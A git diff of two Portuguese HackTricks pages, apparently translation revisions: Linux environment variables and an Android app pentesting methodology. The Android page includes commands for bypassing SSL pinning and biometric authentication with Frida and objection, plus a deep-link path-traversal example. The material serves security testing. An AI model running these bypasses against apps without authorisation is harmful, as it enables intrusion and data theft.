* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -46,10 +46,6 @@ echo $LOCAL
|
|||
unset LOCAL
|
||||
```
|
||||
## Listar variáveis atuais
|
||||
|
||||
```bash
|
||||
printenv
|
||||
```
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
@ -100,7 +96,7 @@ Os processos usarão o **proxy** declarado aqui para se conectar à internet atr
|
|||
export http_proxy="http://10.10.10.10:8080"
|
||||
export https_proxy="http://10.10.10.10:8080"
|
||||
```
|
||||
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
|
||||
### SSL_CERT_FILE & SSL_CERT_DIR
|
||||
|
||||
Os processos confiarão nos certificados indicados nestas **variáveis de ambiente**.
|
||||
```bash
|
||||
|
@ -131,20 +127,20 @@ Um trabalho em segundo plano, um parado e o último comando não terminou corret
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda a hackear a AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,10 +19,10 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -70,7 +70,7 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad
|
|||
|
||||
### Procurando por Informações Interessantes
|
||||
|
||||
Apenas olhando para as **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -88,14 +88,14 @@ A **análise dos arquivos Manifest.xml e strings.xml de uma aplicação pode rev
|
|||
* **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
* **Provedores de Conteúdo e FileProviders**: Provedores de conteúdo expostos podem permitir acesso ou modificação não autorizados de dados. A configuração dos FileProviders também deve ser examinada.
|
||||
* **Receptores de Broadcast e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial à forma como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por motivos de segurança.
|
||||
* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões desatualizadas e vulneráveis do Android por motivos de segurança.
|
||||
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de revisão cuidadosa desses recursos.
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de uma revisão cuidadosa desses recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
|
||||
Na prática, **cega o usuário para que ele não saiba que está realmente realizando ações no aplicativo vítima**.
|
||||
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que ele obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
|
||||
Na prática, ele **impede o usuário de saber que está realmente realizando ações no aplicativo vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
|
||||
|
@ -105,7 +105,7 @@ Encontre mais informações em:
|
|||
|
||||
### Sequestro de Tarefas
|
||||
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, poderia **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, pode **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
|
||||
Mais informações em:
|
||||
|
||||
|
@ -168,13 +168,13 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
|
|||
|
||||
Os desenvolvedores não devem usar algoritmos obsoletos para realizar verificações de autorização, armazenar ou enviar dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se hashes forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
|
||||
|
||||
### Outras verificações
|
||||
### Outras Verificações
|
||||
|
||||
* É recomendado **ofuscar o APK** para dificultar o trabalho de engenharia reversa para os atacantes.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve realizar suas próprias verificações para ver se o dispositivo móvel está rooteado e agir em conformidade.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar se um emulador está sendo usado.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar sua própria integridade antes de executá-lo para verificar se foi modificado.
|
||||
* Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compilador/packer/ofuscador foi usado para construir o APK
|
||||
* Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compilador/packer/ofuscador foi usado para construir o APK.
|
||||
|
||||
### Aplicativo React Native
|
||||
|
||||
|
@ -198,11 +198,11 @@ De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desup
|
|||
|
||||
### Análise Estática Automatizada de Código
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar vulnerabilidades escaneando o código do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar vulnerabilidades escaneando o código do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação de fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
### Segredos vazados
|
||||
### Segredos Vazados
|
||||
|
||||
Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdomínios...) que você pode descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
|
@ -214,7 +214,7 @@ Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdom
|
|||
|
||||
### Outras funções interessantes
|
||||
|
||||
* **Execução de código**: `Runtime.exec(), ProcessBuilder(), código nativo:system()`
|
||||
* **Execução de Código**: `Runtime.exec(), ProcessBuilder(), código nativo:system()`
|
||||
* **Enviar SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* **Funções nativas** declaradas como `native`: `public native, System.loadLibrary, System.load`
|
||||
* [Leia isso para aprender **como reverter funções nativas**](reversing-native-libraries.md)
|
||||
|
@ -252,7 +252,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
|
||||
|
||||
Você pode até **ver os logs do seu aplicativo** na web e se conectar por meio de **adb**.
|
||||
Você pode até **ver os logs do seu aplicativo** na web e conectar-se por meio de **adb**.
|
||||
|
||||
![](<../../.gitbook/assets/image (60).png>)
|
||||
|
||||
|
@ -280,7 +280,7 @@ Para **instalar serviços do Google** (como a Play Store) no Genymotion, você p
|
|||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você for conectar-se à VM Android de uma VM diferente com as ferramentas).
|
||||
#### Usar um dispositivo físico
|
||||
|
||||
Você precisa ativar as opções de **depuração** e será legal se você puder **fazer root** nele:
|
||||
|
@ -301,28 +301,28 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
|
|||
Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que a partir do **Android 4.0 ou posterior**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\
|
||||
Observe que a partir do **Android mais recente que o 4.0**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\
|
||||
De qualquer forma, ainda é recomendável **não registrar informações sensíveis**.
|
||||
{% endhint %}
|
||||
|
||||
**Armazenamento de Buffer de Copiar/Colar**
|
||||
**Armazenamento em Cache de Copiar/Colar**
|
||||
|
||||
O framework baseado em **clipboard** do Android permite funcionalidades de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
O framework baseado em **área de transferência** do Android permite funcionalidades de copiar e colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Falhas**
|
||||
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar em falhas e, se os logs precisarem ser transmitidos pela rede, garanta que sejam enviados por meio de um canal SSL para segurança.
|
||||
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Dados Analíticos Enviados a Terceiros**
|
||||
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros.
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há algum envio de informações sensíveis para serviços de terceiros.
|
||||
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
A maioria dos aplicativos usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/o.nome.do.pacote/bancos de dados` como `/data/data/com.mwr.example.sieve/bancos de dados`
|
||||
Os bancos de dados devem estar localizados em `/data/data/o.nome.do.pacote/databases` como `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você pode **encontrar** a **senha** dentro do aplicativo, ainda é uma **vulnerabilidade**.
|
||||
|
||||
|
@ -363,12 +363,12 @@ Note que uma violação de autorização nem sempre é uma vulnerabilidade, isso
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário realize ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
|
||||
|
||||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
[**Leia isso se quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados** sensíveis deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.
|
||||
|
||||
[**Aprenda como explorar Provedores de Conteúdo com o Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
|
@ -390,7 +390,7 @@ Um receptor de transmissão estará aguardando por um tipo de mensagem. Dependen
|
|||
|
||||
### **Explorando Esquemas / Links Profundos**
|
||||
|
||||
Você pode procurar links profundos manualmente, usando ferramentas como MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode procurar links profundos manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode **abrir** um **esquema** declarado usando **adb** ou um **navegador**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -399,7 +399,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Obs: você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir o link._
|
||||
_Obs: você pode **omitir o nome do pacote** e o celular automaticamente chamará o aplicativo que deve abrir o link._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -418,22 +418,22 @@ Para encontrar o **código que será executado no aplicativo**, vá para a ativi
|
|||
|
||||
**Informações sensíveis**
|
||||
|
||||
Sempre que encontrar um deeplink, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deeplink e roubar esses dados!**
|
||||
Sempre que encontrar um deep link, verifique se **não está recebendo dados sensíveis (como senhas) por meio de parâmetros de URL**, pois qualquer outro aplicativo poderia **fingir ser o deep link e roubar esses dados!**
|
||||
|
||||
**Parâmetros no caminho**
|
||||
|
||||
Você **também deve verificar se algum deeplink está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** do URL, como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Observe que se você encontrar os endpoints corretos dentro do aplicativo, poderá causar um **Redirecionamento Aberto** (se parte do caminho for usada como nome de domínio), **assumir o controle da conta** (se puder modificar detalhes de usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [informações sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mais exemplos**
|
||||
|
||||
Um [relatório interessante de recompensa por bugs](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Falhas na Inspeção e Verificação da Camada de Transporte
|
||||
### Inspeção da Camada de Transporte e Falhas de Verificação
|
||||
|
||||
* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum para esses aplicativos ignorar avisos e aceitar certificados autoassinados ou, em alguns casos, voltar a usar conexões HTTP.
|
||||
* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum esses aplicativos ignorarem avisos e aceitarem certificados autoassinados ou, em alguns casos, voltarem a usar conexões HTTP.
|
||||
* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam-se por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
|
||||
|
@ -447,13 +447,13 @@ SSL Pinning é uma medida de segurança em que o aplicativo verifica o certifica
|
|||
|
||||
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar este certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crítico para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Aplicativos direcionados ao **Nível de API 24 e acima** requerem modificações na Configuração de Segurança de Rede para aceitar o certificado CA do proxy. Este passo é crucial para inspecionar o tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança de Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypass do SSL Pinning
|
||||
|
||||
Quando o SSL Pinning é implementado, torna-se necessário contorná-lo para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse fim:
|
||||
|
||||
* **Modificar automaticamente** o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem desta opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Modificar automaticamente o **apk** para **burlar** o SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). A maior vantagem dessa opção é que você não precisará de acesso root para burlar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
|
||||
* Você pode usar o **Frida** (discutido abaixo) para burlar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Você também pode tentar **burlar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
|
||||
|
@ -473,6 +473,7 @@ Se você deseja fazer pentest em aplicativos Android, precisa saber como usar o
|
|||
* Algum "GUI" para ações com o Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
* Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
* Você pode encontrar alguns scripts incríveis do Frida aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
* Tente burlar mecanismos anti-depuração / anti-Frida carregando o Frida conforme indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Despejo de Memória - Fridump**
|
||||
|
||||
|
@ -497,7 +498,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||
|
||||
### **Dados sensíveis no Keystore**
|
||||
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo poderia roubar esses dados.
|
||||
No Android, o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como os aplicativos tendem a armazenar aqui **dados sensíveis em texto claro**, os testes de penetração devem verificar isso, pois um usuário root ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
|
||||
|
||||
Mesmo que um aplicativo armazene dados no keystore, os dados devem ser criptografados.
|
||||
|
||||
|
@ -507,7 +508,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
|||
```
|
||||
### **Bypass de Impressão Digital/Biometria**
|
||||
|
||||
Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis:**
|
||||
Usando o seguinte script do Frida, poderia ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger áreas sensíveis específicas:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -517,13 +518,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||
|
||||
### **Imagens de Fundo**
|
||||
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
